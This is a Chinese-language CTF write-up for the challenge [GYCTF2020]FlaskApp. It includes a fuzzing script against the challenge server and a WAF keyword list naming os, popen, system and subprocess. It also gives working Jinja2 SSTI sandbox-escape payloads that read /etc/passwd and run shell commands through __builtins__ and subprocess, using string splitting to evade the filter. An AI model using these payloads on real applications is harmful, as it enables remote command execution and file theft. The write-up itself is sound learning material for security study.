[GYCTF2020]FlaskApp

根据题目,这道题应该是flask。在加密的地方输入{{7*7}}正常回显其base64编码,然后将编码放到解密的地方出现回显nonono,说明过滤了什么。看来突破点在解密的地方。

输入 {{}} 的编码,出现报错,然后还能看到源码:

有waf过滤,利用脚本测试一下:

python 复制代码
import base64

import requests

url1 = 'http://2d0cf127-50a4-461e-98d7-41c83461a237.node5.buuoj.cn/decode'

with open('fuzz.txt', "r") as file:
    headers = {
        "Cookie": "session=eyJjc3JmX3Rva2VuIjoiYTkxNGM4YWI3NmFkNmE1OTFhNjkxNzRkZWYzNDZkZDM5NDcyNmQyZCJ9.aI8Tag.edj4l963JVxa4BtqoCwKDETV9Bs"
    }
    for line in file:
        text = base64.b64encode(line.encode('utf-8'))
        data = {
            "csrf_token": "ImE5MTRjOGFiNzZhZDZhNTkxYTY5MTc0ZGVmMzQ2ZGQzOTQ3MjZkMmQi.aI8Tag.bgJlC6OvbEgS7UDSiMqhwe4kMv0",
            "text": text,
            "submit": "%E6%8F%90%E4%BA%A4"
        }
        r = requests.post(url1, data=data, headers=headers)
        # print(r.text)
        if "no no no !!" in r.text and "jinja2.exceptions.TemplateSyntaxError" not in r.text:
            print(f"{line}")

import

eval

os

subprocess

commands

popen

popen2

popen3

popen4

system

request

*

AI给的字典,所以可能不全面。

jinja2一共三种语法:

控制结构 {% %}

变量取值 {{ }}

注释 {# #}

jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。

但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,

从而绕过沙箱。

class 返回调用的参数类型

bases 返回基类列表

mro 此属性是在方法解析期间寻找基类时的参考类元组

subclasses() 返回子类的列表

globals 以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价

builtins 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载, 这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

尝试使用

执行语句{{''.class.mro[1].subclasses()}}出现502 Bad Gateway,如果不是被过滤的话那就可能是返回的数据太多。尝试一下{{''.class.mro[1].subclasses()[40]}},返回<class 'wrapper_descriptor'>说明没有被过滤。

那我们需要减少一次性返回的数量,可以使用切片。

{{''.class.mro[1].subclasses()[0:200]}}

{{''.class.mro[1].subclasses()[200:400]}}

{{''.class.mro[1].subclasses()[400:]}}

可以通过循环获取名称进一步减少输出内容

{% for cls in ''.class.mro[1].subclasses()[0:500] %} {{ cls.name }} {% endfor %}

{% for cls in ''.class.mro[1].subclasses()[500:] %} {{ cls.name }} {% endfor %}

可以找到有WarningMessage。

特殊变量 __builtins__:全局命名空间中通常会包含 __builtins__ 键,其值指向内置命名空间(或内置模块 builtins),使得模块内可以直接访问内置内容(本质是通过 __builtins__ 间接引用)。

内置命名空间是 Python 解释器自带的 "基础库",包含所有内置功能,全局有效,随解释器启动而存在。

全局命名空间是单个模块的 "局部仓库",包含模块内定义的内容,仅在模块内有效,随模块导入而存在。

在模板注入场景中,沙箱通常会限制直接访问危险函数(如 open,system),我们可以通过__builtins__.open()来逃逸。但是大部分时候__builtins__也被限制,我们可以通过x.init.globals['builtins']来逃逸,原理:

1. x:精心选择的 "跳板类"

x 是从 object.__subclasses__() 中筛选出的某个类(通常是沙箱未严格过滤的类,如 WarningMessageException 等系统内置类)。这类类的特点是:

  • 在沙箱环境中默认加载(未被删除);
  • 其构造方法 __init__ 的全局命名空间未被沙箱清理,仍保留 __builtins__ 引用。

例如,Python 中的警告处理类 WarningMessage 或异常类 Exception,它们的实现中通常依赖内置函数,因此其全局命名空间会保留 __builtins__。直接使用未定义的变量名也是可以的。

2. x.__init__:类的构造方法

__init__ 是类的初始化方法(构造函数),属于函数对象。函数对象在定义时会记录其所在的全局命名空间 (即定义该函数时的上下文变量环境),并通过 __globals__ 属性暴露。

3. __init__.__globals__:构造方法的全局命名空间

__globals__ 是函数对象的关键属性,返回一个字典,包含该函数定义时可访问的所有全局变量。对于大多数系统内置类(如 WarningMessage),其 __init__ 方法在定义时会引用 __builtins__ 中的函数(如 strlist 等),因此其 __globals__ 字典中必然包含 __builtins__ 键。

4. ['__builtins__']:从全局命名空间中提取内置函数

通过 __globals__['__builtins__'] 即可从跳板类的全局命名空间中获取 __builtins__,此时得到的 __builtins__ 是完整的内置命名空间,包含沙箱试图屏蔽的危险函数(如 open__import__)。

{% for x in {}.class.base.subclasses() %} {% if "warning" in x.name %} {{x.init.globals['builtins'].open('/etc/passwd').read() }} {%endif%} {%endfor%}

{{x.init.globals['builtins'].open('/etc/passwd').read() }}

可以成功读取。于是

{{ x.init.globals['builtins']['imp''ort']('o''s').dict['sys''tem']('ls /') }}

但是发现只会回显命令返回的Code 0,并不会回显输出,于是

{{ x.init.globals['builtins']['imp''ort']('subpro''cess').check_output('ls /', shell=True, text=True) }}

得到结果 : app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys this_is_the_flag.txt tmp usr var

于是

{{ x.init.globals['builtins']['imp''ort']('subpro''cess').check_output('cat /this_is_the_flag.txt', shell=True, text=True) }}

发现被过滤了,应该是flag:

{{ x.init.globals['builtins']['imp''ort']('subpro''cess').check_output('cat /this_is_the_fl''ag.txt', shell=True, text=True) }}

拿到flag啦!

看了一下答案,这道题是想让我们通过ssti注入获得PIN码,然后获取交互Shell。不过并不用这么麻烦。

总结一下:通过这个题目我对沙箱逃逸有了粗略的理解,但是具体的解题思路并不明确,特别是感觉构造playload有很多方法,比如利用子类呀、全局变量呀、内置函数呀等等,还有如何绕过过滤,以及注入语法。有必要总结一下所有内容,形成知识体系。